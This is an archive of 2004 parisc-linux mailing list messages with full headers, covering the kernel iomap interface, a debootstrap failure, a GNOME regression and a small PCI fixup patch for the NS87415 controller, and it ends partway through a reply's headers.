> > If you think it's significantly better, go for it.
> 
> We have to support the new iomap interface _somehow_.  I just saw this as
> an opportunity to overhaul our existing mmio interface and a chance to
> speed up some of the port ops.

Yeah, true. And having the read Linus' posting (URL you gave) it
makes sense to add better type checking.


> > Personally, I think the work you, jejb, and tausq are doing for
> > cache/TLB flushing means alot more in terms of performance.
> 
> You give me too much credit -- I don't work on that at all ;-)

Sorry  :^)
I know jejb did 98% of the work, but I though you and tausq
advised/reviewed it as well.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The new iomap interface
Date: Sun, 19 Sep 2004 14:10:47 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20040919131047.GI642__4178.84685234657$1416624477$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20040917124612.GS642@parcelfarce.linux.theplanet.co.uk>
	<20040917162430.GA7984@colo.lackof.org>
	<20040917165031.GT642@parcelfarce.linux.theplanet.co.uk>
	<1095436838.26146.22.camel@localhost.localdomain>
	<20040919092226.GA5158@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624477 25761 80.91.229.3 (22 Nov 2014 02:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:57 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 HPPA List <parisc-linux@parisc-linux.org>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2245 invoked by uid 65534); 19 Sep 2004 13:11:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 19 Sep 2004 15:11:22 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B55BA3BE21; Sun, 19 Sep 2004 07:11:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28769-10; Sun, 19 Sep 2004 07:11:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6854B3BE26; Sun, 19 Sep 2004 07:10:57 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 466AF3BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 07:10:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30853-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 07:10:52 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1A9CA3BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Sep 2004 07:10:52 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 43D8C494752; Sun, 19 Sep 2004 07:10:51 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 63CBB494737
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Sep 2004 07:10:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1C91Sp-0003Tw-Md; Sun, 19 Sep 2004 14:10:47 +0100
Content-Disposition: inline
In-Reply-To: <20040919092226.GA5158@lst.de>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24919

On Sun, Sep 19, 2004 at 11:22:26AM +0200, Christoph Hellwig wrote:
> On Fri, Sep 17, 2004 at 05:00:39PM +0100, Alan Cox wrote:
> > On Gwe, 2004-09-17 at 17:50, Matthew Wilcox wrote:
> > > On Fri, Sep 17, 2004 at 10:24:30AM -0600, Grant Grundler wrote:
> > > > Interesting. I'm not sure this new scheme provides any special hooks
> > > > that we can't already do today.
> > > > Did Linus write why he wants iomap? Have a URL handy?
> > 
> > Discussion on linux-arch originally I think
> 
> Does anyone have a pointer to the list archives for that linux-arch
> thing?

I believe there are none.  BTW, the iomap discussion didn't happen
on linux-arch.  Linus posted saying "hey, I've added __iomem markers
for sparse's benefit; isn't this cool?" and there was some discussion
around that, but nothing about the iomap() interface.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: debootstrap failure?
Date: Sun, 19 Sep 2004 21:35:25 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20040920013524.GL17238__24423.7548592084$1416624477$gmane$org@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624477 25767 80.91.229.3 (22 Nov 2014 02:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:57 +0000 (UTC)
Cc: LaMont Jones <lamont@debian.org>,
 Randolph Chung <tausq@debian.org>
To: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22196 invoked by uid 65534); 20 Sep 2004 01:35:42 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx030) with SMTP; 20 Sep 2004 03:35:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 3A1832DFEE; Sun, 19 Sep 2004 20:35:40 -0500 (CDT)
Old-Return-Path: <carlos@baldric.uwo.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by murphy.debian.org (Postfix) with ESMTP id 4DEB32DE78
	for <debian-hppa@lists.debian.org>; Sun, 19 Sep 2004 20:35:39 -0500 (CDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C9D5R-0004xa-00; Sun, 19 Sep 2004 21:35:25 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (71% Sync Ratio [=======...])
X-Rc-Virus: 2004-07-20_01
X-Rc-Spam: 2004-08-29_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_08_17_01 
	(2004-01-11) on newmurphy.debian.org
X-Spam-Status: No, hits=-5.0 required=4.0 tests=LDOSUBSCRIBER autolearn=no 
	version=2.63-lists.debian.org_2004_08_17_01
Resent-Message-ID: <a7ujoC.A.HiB.sPjTBB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3938
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 19 Sep 2004 20:35:40 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24920


Anyone else using debootstrap recently to get a sid chroot?

carlos@churchill:~/src$ mkdir sid_chroot
carlos@churchill:~/src$ sudo debootstrap sid sid_chroot/
I: Retrieving debootstrap.invalid_dists_sid_Release
I: Validating debootstrap.invalid_dists_sid_Release
I: Retrieving debootstrap.invalid_dists_sid_main_binary-hppa_Packages
I: Validating debootstrap.invalid_dists_sid_main_binary-hppa_Packages
I: Checking adduser...
I: Checking apt...
...
I: Retrieving fdutils
I: Validating fdutils
I: Retrieving findutils
I: Validating findutils
E: Couldn't download gcc-3.0-base
carlos@churchill:~/src$ 

carlos@churchill:~/src$ apt-cache search gcc-3.0-base
gcc-3.0-base - The GNU Compiler Collection (base package)

It's there.

Thoughts from the guru's?

I need a chroot for my experimental glibc packages for jda :)
(we have a missing "memory" clobber for syscalls!)

c.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GNOME stopped working after 2.6.9-rc2-pa4
Date: Tue, 21 Sep 2004 22:21:38 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20040921212138.GB16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624477 25775 80.91.229.3 (22 Nov 2014 02:47:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15815 invoked by uid 65534); 21 Sep 2004 21:22:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx048) with SMTP; 21 Sep 2004 23:22:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BD3833BE25; Tue, 21 Sep 2004 15:22:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28872-09; Tue, 21 Sep 2004 15:22:09 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3E5AE3BE23; Tue, 21 Sep 2004 15:21:48 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 935ED3BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 15:21:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28871-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 15:21:40 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3CD263BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 15:21:40 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id BAF4049473F; Tue, 21 Sep 2004 15:21:39 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 400EE4946B7
	for <parisc-linux@parisc-linux.org>;
	Tue, 21 Sep 2004 15:21:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1C9s4w-00047B-9R
	for parisc-linux@parisc-linux.org; Tue, 21 Sep 2004 22:21:38 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24921


I'm digging through changesets now to figure out which one caused it.
Just wanted to let everyone know.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a fix for NS87415 on C3K broken
Date: Wed, 22 Sep 2004 12:41:21 +0200
Lines: 141
Approved: news@gmane.org
Message-ID: <4150193600000506__1862.30793265185$1416624478$gmane$org@mail-7-bnl.tiscali.it>
References: <200409170243.06449.bzolnier@elka.pw.edu.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="========/4150193600000506/mail-7-bnl.tiscali.it"
X-Trace: ger.gmane.org 1416624478 25781 80.91.229.3 (22 Nov 2014 02:47:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:58 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: "Bartlomiej Zolnierkiewicz" <bzolnier@elka.pw.edu.pl>,
 "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32556 invoked by uid 65534); 22 Sep 2004 10:42:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 22 Sep 2004 12:42:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 285873BD31; Wed, 22 Sep 2004 04:42:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03152-05; Wed, 22 Sep 2004 04:42:15 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DB4983BDF2; Wed, 22 Sep 2004 04:41:47 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC0953BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 04:41:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03152-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 04:41:41 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5E5703BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Sep 2004 04:41:41 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8AC9D494742; Wed, 22 Sep 2004 04:41:40 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-7-bnl.tiscali.it (mail-7-bnl.tiscali.it [213.205.33.227])
	by palinux.hppa (Postfix) with ESMTP
	id C77C44946B4; Wed, 22 Sep 2004 04:41:39 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Wed, 22 Sep 2004 12:41:21 +0200
In-Reply-To: <200409170243.06449.bzolnier@elka.pw.edu.pl>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24922


--========/4150193600000506/mail-7-bnl.tiscali.it
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable

Hello Grant, Bartlomiej and *,

I test this patch:
--- arch/parisc/kernel/pci.c.Orig	2004-09-22 09:47:02.000000000 +0200
+++ arch/parisc/kernel/pci.c	2004-09-22 11:26:02.104187784 +0200
@@ -146,6 +146,9 @@
 	return str;
 }
 
+/* Used in drivers/pci/quirks.c */
+DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, super=
io_fixup_pci);
+
 /*
  * Called by pci_set_master() - a driver interface.
  *
--- drivers/parisc/superio.c.Orig	2004-09-22 11:17:53.759427472 +0200
+++ drivers/parisc/superio.c	2004-09-22 11:27:32.856391352 +0200
@@ -484,7 +484,6 @@
 	pci_read_config_byte(pdev, PCI_CLASS_PROG, &prog);
 	printk("PCI: Enabled native mode for NS87415 (pif=3D0x%x)\n", prog);
 }
-DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, super=
io_fixup_pci);
 
 /* Because of a defect in Super I/O, all reads of the PCI DMA status 
  * registers, IDE status register and the IDE select register need to be=


=3D=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D=3D

That fix the NS87415 pb on my c2k model :)
Can somebody check it with some c3k model?

And if Ok for all, can somebody ci for me?

Tia,
    Joel

PS: here attached the diff in case of bad wrapping
> -- Original Message --
> From: Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>
> To: Grant Grundler <grundler@parisc-linux.org>
> Date: Fri, 17 Sep 2004 02:43:06 +0200
> Cc: linux-ide@vger.kernel.org, parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] Re: NS87415 on C3K broken
> 
> 
> On Friday 17 September 2004 01:25, Grant Grundler wrote:
> > > ide_setup_pci_controller()
> > > 	-> ide_pci_enable()
> > > 		-> pci_enable_device()
> > > 
> > > and ide_setup_pci_controller() is called at the beginning
> > > of ide_setup_pci_device() before ->init_chipset()
> > 
> > Yes - I tracked the pci_enabled_device back to ide_setup_pci_controll=
er().
> > But I just realized I had another brainfart: ide_setup_pci_controller=
()
> > is not ide_setup_pci_device(). I should stop coding late at night...
> 
> Heh.
> 
> > > > Anyway, ns87415 driver has more problems. The patch below adds
> > > > "init_chipset" entry point and init_chipset_ns87415() calls
> > > > pci_enable_device() and pci_set_master() before the probe.
> > > > And my C3k still HPMCs. My guess is more of the code from
> > > > init_hwif_ns87415() needs to be moved to init_chipset_ns87415().
> > > > And possible call some special suckyio init routines.
> > > > I won't be able to touch this for a few days.
> > > > Anyone else on parisc-linux ml want to take a whack at this?
> > ...
> > > Yep, also if they are to stay please move them to ns87415.c
> > > because using <linux/ide.h> outside drivers/ide is WRONG.
> > 
> > they? superio_ide_init_iops() or something else?
> 
> They.
> 
> > Willy mentioned that as a TODO item and it's on my list.
> > But I didn't plan on touching that before the HPMC is resolved
> > or the PCI resource mgt issues are resolved.
> 
> OK, thanks.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR





--========/4150193600000506/mail-7-bnl.tiscali.it
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="NS87415.diff"

LS0tIGFyY2gvcGFyaXNjL2tlcm5lbC9wY2kuYy5PcmlnCTIwMDQtMDktMjIgMDk6NDc6MDIuMDAw
MDAwMDAwICswMjAwCisrKyBhcmNoL3BhcmlzYy9rZXJuZWwvcGNpLmMJMjAwNC0wOS0yMiAxMToy
NjowMi4xMDQxODc3ODQgKzAyMDAKQEAgLTE0Niw2ICsxNDYsOSBAQAogCXJldHVybiBzdHI7CiB9
CiAKKy8qIFVzZWQgaW4gZHJpdmVycy9wY2kvcXVpcmtzLmMgKi8KK0RFQ0xBUkVfUENJX0ZJWFVQ
X0hFQURFUihQQ0lfVkVORE9SX0lEX05TLCBQQ0lfREVWSUNFX0lEX05TXzg3NDE1LCBzdXBlcmlv
X2ZpeHVwX3BjaSk7CisKIC8qCiAgKiBDYWxsZWQgYnkgcGNpX3NldF9tYXN0ZXIoKSAtIGEgZHJp
dmVyIGludGVyZmFjZS4KICAqCi0tLSBkcml2ZXJzL3BhcmlzYy9zdXBlcmlvLmMuT3JpZwkyMDA0
LTA5LTIyIDExOjE3OjUzLjc1OTQyNzQ3MiArMDIwMAorKysgZHJpdmVycy9wYXJpc2Mvc3VwZXJp
by5jCTIwMDQtMDktMjIgMTE6Mjc6MzIuODU2MzkxMzUyICswMjAwCkBAIC00ODQsNyArNDg0LDYg
QEAKIAlwY2lfcmVhZF9jb25maWdfYnl0ZShwZGV2LCBQQ0lfQ0xBU1NfUFJPRywgJnByb2cpOwog
CXByaW50aygiUENJOiBFbmFibGVkIG5hdGl2ZSBtb2RlIGZvciBOUzg3NDE1IChwaWY9MHgleClc
biIsIHByb2cpOwogfQotREVDTEFSRV9QQ0lfRklYVVBfSEVBREVSKFBDSV9WRU5ET1JfSURfTlMs
IFBDSV9ERVZJQ0VfSURfTlNfODc0MTUsIHN1cGVyaW9fZml4dXBfcGNpKTsKIAogLyogQmVjYXVz
ZSBvZiBhIGRlZmVjdCBpbiBTdXBlciBJL08sIGFsbCByZWFkcyBvZiB0aGUgUENJIERNQSBzdGF0
dXMgCiAgKiByZWdpc3RlcnMsIElERSBzdGF0dXMgcmVnaXN0ZXIgYW5kIHRoZSBJREUgc2VsZWN0
IHJlZ2lzdGVyIG5lZWQgdG8gYmUgCg==

--========/4150193600000506/mail-7-bnl.tiscali.it
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--========/4150193600000506/mail-7-bnl.tiscali.it--



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: a fix for NS87415 on C3K broken
Date: Wed, 22 Sep 2004 10:37:08 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20040922163708.GD4766__100.024246103381$1416624478$gmane$org@colo.lackof.org>
References: <200409170243.06449.bzolnier@elka.pw.edu.pl>
	<4150193600000506@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624478 25786 80.91.229.3 (22 Nov 2014 02:47:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:58 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18690 invoked by uid 65534); 22 Sep 2004 16:38:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 22 Sep 2004 18:38:07 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
